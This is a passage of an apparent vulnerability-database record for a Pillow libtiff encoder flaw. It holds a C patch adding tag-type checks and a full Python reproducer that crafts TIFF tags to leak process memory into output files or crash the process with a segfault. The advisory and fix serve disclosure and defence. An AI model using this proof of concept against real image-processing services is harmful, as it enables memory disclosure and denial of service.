-\u003e None:\ndiff --git a/src/encode.c b/src/encode.c\nindex 9e19e9002..cbbd09f0d 100644\n--- a/src/encode.c\n+++ b/src/encode.c\n@@ -675,6 +675,106 @@ PyImaging_ZipEncoderNew(PyObject *self, PyObject *args) {\n \n #include \u003cstring.h\u003e\n \n+/* C type that TIFFSetField reads from its arguments for a single value of\n+ the given type: int, uint64_t, double or char * */\n+static int\n+tiff_scalar_arg_type(TIFFDataType type) {\n+ switch (type) {\n+ case TIFF_BYTE:\n+ case TIFF_SBYTE:\n+ case TIFF_UNDEFINED:\n+ case TIFF_SHORT:\n+ case TIFF_SSHORT:\n+ case TIFF_LONG:\n+ case TIFF_SLONG:\n+ case TIFF_IFD:\n+ return 1;\n+ case TIFF_LONG8:\n+ case TIFF_SLONG8:\n+ case TIFF_IFD8:\n+ return 2;\n+ case TIFF_FLOAT:\n+ case TIFF_DOUBLE:\n+ case TIFF_RATIONAL:\n+ case TIFF_SRATIONAL:\n+ return 3;\n+ case TIFF_ASCII:\n+ return 4;\n+ default:\n+ return 0;\n+ }\n+}\n+\n+/* Size of the values that TIFFSetField copies from an array of the given\n+ type. libtiff stores custom RATIONAL arrays as floats. */\n+static int\n+tiff_array_item_size(TIFFDataType type) {\n+ switch (type) {\n+ case TIFF_BYTE:\n+ case TIFF_SBYTE:\n+ case TIFF_UNDEFINED:\n+ case TIFF_ASCII:\n+ return 1;\n+ case TIFF_SHORT:\n+ case TIFF_SSHORT:\n+ return 2;\n+ case TIFF_LONG:\n+ case TIFF_SLONG:\n+ case TIFF_IFD:\n+ case TIFF_FLOAT:\n+ case TIFF_RATIONAL:\n+ case TIFF_SRATIONAL:\n+ return 4;\n+ case TIFF_DOUBLE:\n+ case TIFF_LONG8:\n+ case TIFF_SLONG8:\n+ case TIFF_IFD8:\n+ return 8;\n+ default:\n+ return 0;\n+ }\n+}\n+\n+/* Check that a value which will be passed to TIFFSetField as a single value\n+ of the given type, or as an array of len values, matches the definition\n+ of the field that libtiff will use. */\n+static int\n+tiff_field_matches(\n+ TIFFDataType field_type,\n+ int passcount,\n+ int writecount,\n+ TIFFDataType type,\n+ int is_var_length,\n+ Py_ssize_t len\n+) {\n+ if (field_type == TIFF_ASCII \u0026\u0026 !passcount) {\n+ // TIFFSetField reads a null-terminated string\n+ return !is_var_length \u0026\u0026 type == TIFF_ASCII;\n+ }\n+ if (!is_var_length) {\n+ // TIFFSetField reads a single value\n+ return !passcount \u0026\u0026 writecount == 1 \u0026\u0026 tiff_scalar_arg_type(type) \u0026\u0026\n+ tiff_scalar_arg_type(type) == tiff_scalar_arg_type(field_type);\n+ }\n+ // TIFFSetField reads a pointer to the values, preceded by the number of\n+ // values if passcount is set. Otherwise, the number of values is fixed.\n+ if (!tiff_array_item_size(type) ||\n+ tiff_array_item_size(type) != tiff_array_item_size(field_type)) {\n+ return 0;\n+ }\n+ return passcount || (writecount \u003e 1 \u0026\u0026 len == writecount);\n+}\n+\n+static int\n+set_tiff_array_field(\n+ ImagingCodecState state, int key, int passcount, Py_ssize_t len, void *av\n+) {\n+ if (passcount) {\n+ return ImagingLibTiffSetField(state, (ttag_t)key, len, av);\n+ }\n+ return ImagingLibTiffSetField(state, (ttag_t)key, av);\n+}\n+\n PyObject *\n PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n ImagingEncoderObject *encoder;\n@@ -689,7 +789,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n PyObject *key, *value;\n Py_ssize_t pos = 0;\n int key_int, status, is_core_tag, is_var_length, num_core_tags, i;\n- TIFFDataType type = TIFF_NOTYPE;\n+ int is_known_tag, passcount, writecount;\n+ TIFFDataType type = TIFF_NOTYPE, field_type;\n // This list also exists in TiffTags.py\n const int core_tags[] = {256, 257, 258, 259, 262, 263, 266, 269, 274, 277,\n 278, 280, 281, 282, 283, 284, 286, 287, 296, 297,\n@@ -777,6 +878,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n status = 0;\n is_core_tag = 0;\n is_var_length = 0;\n+ is_known_tag = 0;\n+ passcount = 1;\n type = TIFF_NOTYPE;\n \n for (i = 0; i \u003c num_core_tags; i++) {\n@@ -800,6 +903,15 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n }\n Py_DECREF(tag_type);\n }\n+\n+ // libtiff uses its own definition for tags that it already knows,\n+ // rather than the field registered below.\n+ is_known_tag = ImagingLibTiffFindField(\n+ \u0026encoder-\u003estate, key_int, \u0026field_type, \u0026passcount, \u0026writecount\n+ );\n+ if (is_known_tag \u0026\u0026 type == TIFF_NOTYPE) {\n+ type = field_type;\n+ }\n }\n \n if (type == TIFF_NOTYPE) {\n@@ -838,7 +950,7 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n \n if (!is_core_tag) {\n // Register field for non core tags.\n- if (type == TIFF_BYTE) {\n+ if (type == TIFF_BYTE || type == TIFF_UNDEFINED) {\n is_var_length = 1;\n }\n if (ImagingLibTiffMergeFieldInfo(\n@@ -847,6 +959,28 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n Py_DECREF(item);\n continue;\n }\n+\n+ if (is_known_tag) {\n+ // Check that the value will be passed to TIFFSetField in the\n+ // form that libtiff\u0027s definition of the tag expects.\n+ Py_ssize_t len = 0;\n+ if (PyTuple_Check(value)) {\n+ len = PyTuple_Size(value);\n+ } else if (PyBytes_Check(value)) {\n+ len = PyBytes_Size(value);\n+ }\n+ if (!tiff_field_matches(\n+ field_type, passcount, writecount, type, is_var_length, len\n+ )) {\n+ Py_DECREF(encoder);\n+ Py_DECREF(item);\n+ PyErr_SetString(\n+ PyExc_ValueError,\n+ \"Tag value does not match libtiff field definition\"\n+ );\n+ return NULL;\n+ }\n+ }\n }\n \n if (type == TIFF_BYTE || type == TIFF_UNDEFINED ||\n@@ -857,9 +991,10 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n PyErr_SetString(PyExc_ValueError, \"Incorrect tag value type\");\n return NULL;\n }\n- status = ImagingLibTiffSetField(\n+ status = set_tiff_array_field(\n \u0026encoder-\u003estate,\n- (ttag_t)key_int,\n+ key_int,\n+ passcount,\n PyBytes_Size(value),\n PyBytes_AsString(value)\n );\n@@ -909,8 +1044,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n for (i = 0; i \u003c len; i++) {\n av[i] = (UINT16)PyLong_AsLong(PyTuple_GetItem(value, i));\n }\n- status = ImagingLibTiffSetField(\n- \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+ status = set_tiff_array_field(\n+ \u0026encoder-\u003estate, key_int, passcount, len, av\n );\n free(av);\n }\n@@ -922,8 +1057,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n for (i = 0; i \u003c len; i++) {\n av[i] = (UINT32)PyLong_AsLong(PyTuple_GetItem(value, i));\n }\n- status = ImagingLibTiffSetField(\n- \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+ status = set_tiff_array_field(\n+ \u0026encoder-\u003estate, key_int, passcount, len, av\n );\n free(av);\n }\n@@ -935,8 +1070,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n for (i = 0; i \u003c len; i++) {\n av[i] = (INT8)PyLong_AsLong(PyTuple_GetItem(value, i));\n }\n- status = ImagingLibTiffSetField(\n- \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+ status = set_tiff_array_field(\n+ \u0026encoder-\u003estate, key_int, passcount, len, av\n );\n free(av);\n }\n@@ -948,8 +1083,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n for (i = 0; i \u003c len; i++) {\n av[i] = (INT16)PyLong_AsLong(PyTuple_GetItem(value, i));\n }\n- status = ImagingLibTiffSetField(\n- \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+ status = set_tiff_array_field(\n+ \u0026encoder-\u003estate, key_int, passcount, len, av\n );\n free(av);\n }\n@@ -961,8 +1096,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n for (i = 0; i \u003c len; i++) {\n av[i] = (INT32)PyLong_AsLong(PyTuple_GetItem(value, i));\n }\n- status = ImagingLibTiffSetField(\n- \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+ status = set_tiff_array_field(\n+ \u0026encoder-\u003estate, key_int, passcount, len, av\n );\n free(av);\n }\n@@ -974,8 +1109,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n for (i = 0; i \u003c len; i++) {\n av[i] = (FLOAT32)PyFloat_AsDouble(PyTuple_GetItem(value, i));\n }\n- status = ImagingLibTiffSetField(\n- \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+ status = set_tiff_array_field(\n+ \u0026encoder-\u003estate, key_int, passcount, len, av\n );\n free(av);\n }\n@@ -987,12 +1122,12 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n for (i = 0; i \u003c len; i++) {\n av[i] = PyFloat_AsDouble(PyTuple_GetItem(value, i));\n }\n- status = ImagingLibTiffSetField(\n- \u0026encoder-\u003estate, (ttag_t)key_int, len, av\n+ status = set_tiff_array_field(\n+ \u0026encoder-\u003estate, key_int, passcount, len, av\n );\n free(av);\n }\n- } else if (type == TIFF_RATIONAL) {\n+ } else if (type == TIFF_RATIONAL || type == TIFF_SRATIONAL) {\n FLOAT32 *av;\n /* malloc check ok, calloc checks for overflow */\n av = calloc(len, sizeof(FLOAT32));\n@@ -1000,8 +1135,9 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {\n for (i = 0; i \u003c len; i++) {\n av[i] = (FLOAT32)PyFloat_AsDouble(PyTuple_GetItem(value, i));\n }\n- status =\n- ImagingLibTiffSetField(\u0026encoder-\u003estate, (ttag_t)key_int, av);\n+ status = set_tiff_array_field(\n+ \u0026encoder-\u003estate, key_int, passcount, len, av\n+ );\n free(av);\n }\n }\ndiff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c\nindex 8a57c523d..e14dd50bb 100644\n--- a/src/libImaging/TiffDecode.c\n+++ b/src/libImaging/TiffDecode.c\n@@ -923,6 +923,29 @@ ImagingLibTiffMergeFieldInfo(\n return TIFFMergeFieldInfo(clientstate-\u003etiff, info, n);\n }\n \n+int\n+ImagingLibTiffFindField(\n+ ImagingCodecState state,\n+ int key,\n+ TIFFDataType *field_type,\n+ int *passcount,\n+ int *writecount\n+) {\n+ // Look up libtiff\u0027s own definition of a tag. TIFFMergeFieldInfo does not\n+ // replace the definition of a tag that libtiff already knows, so this is\n+ // what TIFFSetField will use for such tags.\n+ TIFFSTATE *clientstate = (TIFFSTATE *)state-\u003econtext;\n+ const TIFFField *fip = TIFFFindField(clientstate-\u003etiff, (ttag_t)key, TIFF_ANY);\n+\n+ if (!fip) {\n+ return 0;\n+ }\n+ *field_type = TIFFFieldDataType(fip);\n+ *passcount = TIFFFieldPassCount(fip);\n+ *writecount = TIFFFieldWriteCount(fip);\n+ return 1;\n+}\n+\n int\n ImagingLibTiffSetField(ImagingCodecState state, ttag_t tag, ...) {\n // after tif_dir.c-\u003eTIFFSetField.\ndiff --git a/src/libImaging/TiffDecode.h b/src/libImaging/TiffDecode.h\nindex c31d0b9d8..ee1e4a5f9 100644\n--- a/src/libImaging/TiffDecode.h\n+++ b/src/libImaging/TiffDecode.h\n@@ -41,6 +41,14 @@ ImagingLibTiffMergeFieldInfo(\n ImagingCodecState state, TIFFDataType field_type, int key, int is_var_length\n );\n extern int\n+ImagingLibTiffFindField(\n+ ImagingCodecState state,\n+ int key,\n+ TIFFDataType *field_type,\n+ int *passcount,\n+ int *writecount\n+);\n+extern int\n ImagingLibTiffSetField(ImagingCodecState state, ttag_t tag, ...);\n \n /*\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer \u2014 \u003ccode\u003erepro\u003c/code\u003e, 2,545 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Pillow libtiff writer: a count-1 integer tag copied from the source TIFF is passed to\n# TIFFSetField() as one scalar vararg; for tags libtiff itself defines as arrays it is\n# consumed as a byte COUNT (DNGPrivateData 50740 -\u003e N bytes of process memory written\n# into the output) or as a POINTER (ActiveArea 50829 -\u003e SIGSEGV). Application side is\n# the ordinary \"open upload, save as TIFF\" (compression is inherited -\u003e libtiff writer).\nimport io, struct, subprocess, sys, resource\nfrom PIL import Image\n\ndef upload(tag, value):\n \"\"\"Pillow-written 16x16 LZW TIFF, plus one extra IFD entry \u003ctag\u003e LONG[1] = value.\"\"\"\n b = io.BytesIO()\n Image.new(\"RGB\", (16, 16), \"red\").save(b, \"TIFF\", compression=\"tiff_lzw\")\n data = bytearray(b.getvalue()); assert data[:4] == b\"II*\\0\"\n (off,) = struct.unpack_from(\"\u003cI\", data, 4)\n (n,) = struct.unpack_from(\"\u003cH\", data, off)\n ents = [bytes(data[off + 2 + 12 * i: off + 14 + 12 * i]) for i in range(n)]\n ents.append(struct.pack(\"\u003cHHII\", tag, 4, 1, value))\n ents.sort(key=lambda e: struct.unpack_from(\"\u003cH\", e)[0])\n data += b\"\\0\" * (len(data) \u0026 1); new_off = len(data)\n data += struct.pack(\"\u003cH\", len(ents)) + b\"\".join(ents) + struct.pack(\"\u003cI\", 0)\n struct.pack_into(\"\u003cI\", data, 4, new_off)\n return bytes(data)\n\ndef resave(src): # the whole \"service\"\n im = Image.open(io.BytesIO(src)); out = io.BytesIO(); im.save(out, \"TIFF\")\n return out.getvalue()\n\nif len(sys.argv) \u003e 1 and sys.argv[1] == \"child\":\n resource.setrlimit(resource.RLIMIT_CORE, (0, 0))\n resave(upload(50829, 64)); sys.exit(0)\n\nprint(\"PIL core:\", Image.core.__file__)\nctl = Image.open(io.BytesIO(resave(upload(65000, 4096)))).tag_v2.get(65000)\nprint(\"control tag 65000=4096 -\u003e\", repr(ctl))\n\nN = 65536\nsrc = upload(50740, N)\ntry:\n v = Image.open(io.BytesIO(resave(src))).tag_v2.get(50740)\nexcept (ValueError, RuntimeError) as e: # a fixed Pillow may reject the tag\n v = e\nleak = isinstance(v, bytes) and len(v) == N and v[:64] not in src\nprint(f\"leak tag 50740={N} from a {len(src)}-byte upload -\u003e\",\n f\"{len(v)} bytes not present in input, head {v[:32].hex()}\" if leak else repr(v)[:80])\nif leak:\n so = open(Image.core.__file__, \"rb\").read()\n print(\" leaked bytes found in _imaging.so at file offset\", hex(so.find(v[:256])))\n\nrc = subprocess.call([sys.executable, __file__, \"child\"])\ncrash = rc in (-11, 139)\nprint(\"crash tag 50829=64 -\u003e child exit\", rc, \"(SIGSEGV)\" if crash else \"\")\nprint(\"BUG\" if leak or crash else \"OK\")\n```\n\u003c/details\u003e\n\n---",
"id": "BREW-aider-CVE-2026-112902",
"modified": "2026-10-22T09:13:55Z",
"published": "2026-10-22T09:13:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xvh5-g6gv-559v"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/af56ace297b0991d02988fcc2ea933e4824b4fb3"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": " Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags",
"upstream": [
"GHSA-xvh5-g6gv-559v",
"CVE-2026-112902"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.